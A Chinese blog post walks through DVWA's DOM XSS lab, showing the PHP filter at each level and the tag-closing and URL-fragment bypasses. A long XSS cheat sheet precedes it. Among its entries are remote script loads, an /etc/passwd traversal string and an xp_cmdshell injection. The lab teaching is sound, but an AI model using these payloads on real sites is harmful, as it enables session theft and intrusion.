PHP代码审计DVWA[XSS (DOM)]

71 阅读2分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

XSS (DOM

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。

客户端JavaScript可以访问浏览器的DOM文本对象模型是利用的前提,当确认客户端代码中有DOM型XSS漏洞时,并且能诱使(钓鱼)一名用户访问自己构造的URL,就说明可以在受害者的客户端注入恶意脚本。利用步骤和反射型很类似,但是唯一的区别就是,构造的URL参数不用发送到服务器端,可以达到绕过WAF、躲避服务端的检测效果。

XSS攻击代码

1'"()&%<acx><ScRiPt >prompt(915149)</ScRiPt>
 
<svg/onload=alert(1)>
 
<script>alert(document.cookie)</script>
 
'><script>alert(document.cookie)</script>
 
='><script>alert(document.cookie)</script>
 
<script>alert(vulnerable)</script>
 
%3Cscript%3Ealert('XSS')%3C/script%3E
 
<script>alert('XSS')</script>
 
<img src="javascript:alert('XSS')">
 
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
 
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
 
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
 
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
 
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
 
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
 
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
 
<script>alert('Vulnerable');</script>
 
<script>alert('Vulnerable')</script>
 
a.jsp/<script>alert('Vulnerable')</script>
 
a?<script>alert('Vulnerable')</script>
 
"><script>alert('Vulnerable')</script>
 
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
 
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
 
%3Cscript%3Ealert(document. domain);%3C/script%3E&
 
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
 
<IMG src="javascript:alert('XSS');">
 
<IMG src=javascript:alert('XSS')>
 
<IMG src=JaVaScRiPt:alert('XSS')>
 
<IMG src=JaVaScRiPt:alert("XSS")>
 
<IMG src=javascript:alert('XSS')>
 
<IMG src=javascript:alert('XSS')>
 
<IMG src=javascript:alert('XSS')>
 
<IMG src="jav ascript:alert('XSS');">
 
<IMG src="jav ascript:alert('XSS');">
 
<IMG src="jav ascript:alert('XSS');">
 
"<IMG src=java\0script:alert(\"XSS\")>";' > out
 
<IMG src=" javascript:alert('XSS');">
 
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
 
<BODY BACKGROUND="javascript:alert('XSS')">
 
<BODY ONLOAD=alert('XSS')>
 
<IMG DYNSRC="javascript:alert('XSS')">
 
<IMG LOWSRC="javascript:alert('XSS')">
 
<BGSOUND src="javascript:alert('XSS');">
 
<br size="&{alert('XSS')}">
 
<LAYER src="http://xss.ha.ckers.org/a.js"></layer>
 
<LINK REL="stylesheet" href="javascript:alert('XSS');">
 
<IMG src='vbscript:msgbox("XSS")'>
 
<IMG src="mocha:[code]">
 
<IMG src="livescript:[code]">
 
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
 
<IFRAME src=javascript:alert('XSS')></IFRAME>
 
<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>
 
<TABLE BACKGROUND="javascript:alert('XSS')">
 
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
 
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
 
<DIV STYLE="width: expression(alert('XSS'));">
 
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
 
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
 
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
 
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>
 
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
 
<BASE href="javascript:alert('XSS');//">
 
getURL("javascript:alert('XSS')")
 
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
 
<XML src="javascript:alert('XSS');">
 
"> <BODY><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
 
<SCRIPT src="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
 
<IMG src="javascript:alert('XSS')"
 
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo
'=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
 
<IMG src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
 
<SCRIPT a=">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
 
<SCRIPT =">" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
 
<SCRIPT a=">" '' src="http://xss.ha.ckers.org/a.js"></SCRIPT>
 
<SCRIPT "a='>'" src="http://xss.ha.ckers.org/a.js"></SCRIPT>
 
<SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://xss.ha.ckers.org/a.js"></SCRIPT>
 
<A href=http://www.gohttp://www.google.com/ogle.com/>link</A>
 
<IMG SRC=javascript:alert(‘XSS’)>
 
<IMG SRC=# onmouseover=”alert(‘xxs’)”>
 
<IMG SRC=/ onerror=”alert(String.fromCharCode(88,83,83))”></img>
 
<img src=x onerror=”&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041″>
 
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
 
&#39;&#88;&#83;&#83;&#39;&#41;>
 
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
 
<IMG SRC=”jav ascript:alert(‘XSS’);”>
 
<IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”>
 
<IMG SRC=” &#14;  javascript:alert(‘XSS’);”>
 
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
 
<IMG SRC=”javascript:alert(‘XSS’)”
 
</script><script>alert(‘XSS’);</script>
 
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>
 
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
 
<svg/onload=alert('XSS')>
 
<IMG SRC=’vbscript:msgbox(“XSS”)’>
 
<BGSOUND SRC="javascript:alert('XSS');">
 
<BR SIZE="&{alert('XSS')}">
 
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
 
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
 
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
 
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
 
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
 
<XSS STYLE="behavior: url(xss.htc);">
 
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
 
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
 
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
 
<DIV STYLE="width: expression(alert('XSS'));">
 
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
 
<script>alert(/xss/)</script>
 
<svg onload=alert(document.domain)>
 
<img src=document.domain onerror=alert(document.domain)>
 
<M onmouseover=alert(document.domain)>M
 
<marquee onscroll=alert(document.domain)>
 
<a href=javascript:alert(document.domain)>M</a>
 
<body onload=alert(document.domain)>
 
<details open ontoggle=alert(document.domain)>
 
<embed src=javascript:alert(document.domain)>
 
<script>alert(1)</script>
 
<sCrIpT>alert(1)</sCrIpT>
 
<ScRiPt>alert(1)</ScRiPt>
 
<sCrIpT>alert(1)</ScRiPt>
 
<ScRiPt>alert(1)</sCrIpT>
 
<img src=1 onerror=alert(1)>
 
<iMg src=1 oNeRrOr=alert(1)>
 
<ImG src=1 OnErRoR=alert(1)>
 
<img src=1 onerror="alert(&quot;M&quot;)">
 
<marquee onscroll=alert(1)>
 
<mArQuEe OnScRoLl=alert(1)>
 
<MaRqUeE oNsCrOlL=alert(1)>
 
<a href=javascript:/0/,alert(%22M%22)>M</a>
 
<a href=javascript:/00/,alert(%22M%22)>M</a>
 
<a href=javascript:/000/,alert(%22M%22)>M</a>
 
<a href=javascript:/M/,alert(%22M%22)>M</a>
 
<base href=javascript:/M/><a href=,alert(1)>M</a>
 
<base href=javascript:/M/><iframe src=,alert(1)></iframe>
 
</textarea><script>var a=1//@ sourceMappingURL=//xss.site</script>
 
"><img src=x onerror=alert(document.cookie)>.gif
 
<div style="background-image:url(javascript:alert(/xss/))">
 
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
 
<iframe src=javascript:alert(1)></iframe>
 
<iframe src="data:text/html,<iframe src=javascript:alert('M')></iframe>"></iframe>
 
<iframe src=data:text/html;base64,PGlmcmFtZSBzcmM9amF2YXNjcmlwdDphbGVydCgiTWFubml4Iik+PC9pZnJhbWU+></iframe>
 
<iframe srcdoc=<svg/o&#x6E;load&equals;alert&lpar;1)&gt;></iframe>
 
<iframe src=https://baidu.com width=1366 height=768></iframe>
 
<iframe src=javascript:alert(1) width=1366 height=768></iframe
 
<form action=javascript:alert(1)><input type=submit>
 
<form><button formaction=javascript:alert(1)>M
 
<form><input formaction=javascript:alert(1) type=submit value=M>
 
<form><input formaction=javascript:alert(1) type=image value=M>
 
<form><input formaction=javascript:alert(1) type=image src=1>
 
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

LOW

代码分析

<?php
# No protections, anything goes
?> 

毛都没有

这里low级别的代码没有任何的保护性措施!

页面本意是叫我们选择默认的语言,但是对default参数没有进行任何的过滤

在这里插入图片描述

所以我们可以构造XSS代码,访问链接:

<script>alert(document.cookie)</script>
//这是获取cookie的
    //改一下
<script>alert("NB")</script>

在这里插入图片描述

随便选择一门语言

然后点击提交按钮

在这里插入图片描述

然后呢我们把XSS语句

替换掉我们的语言部分

然后刷新URL

OK了

我们查看源代码,可以看到,我们的脚本插入到代码中,所以执行了

Medium

代码分析

<?php

// Is there any input?
    //array_key_exists() 函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。
    //检测了default参数是否为空
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    //这里还判断了参数中不能有<script,如果有就自动改成English
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?> 

那么通过对代码的一些函数查看,主要是判断了参数的非空,而对参数等关键字的过滤,那么在参数关键字的过程目标上

参数中不能有<script,如果有就自动改成English

这里过滤了 <script (不区分大小写)

那么我们可以使用

<img src=1 οnerrοr=alert('NB')>

那么当我们这样去执行

我们会发现

毛用没有

但是他没有过滤img吖

为什么

我们F12看看

我们可以看到外面多了一个option

但是并没有插入到option标签的值中,所以img标签并没有发起任何作用。

所以我们得先闭合前面的标签,我们构造语句闭合option标签:

></option><img src=1 οnerrοr=alert('NB')>

但是外面发现

还是毛反应没有

闭合了option标签,但是img标签还没有插入

那么我们

我们继续构造语句去闭合select标签

></option></select><img src=1 οnerrοr=alert('NB')>

在这里插入图片描述

在这里插入图片描述

这插进去了

High

代码分析

 <?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>



查看服务器端源代码,可以发现default=只允许是French、English、German、Spanish、这几个通过。(采用了白名单过滤)

此时,就需要有一个绕过报名单的攻击思路了。

default=English#</option></select><iframe onload=alert('/xss/')></option>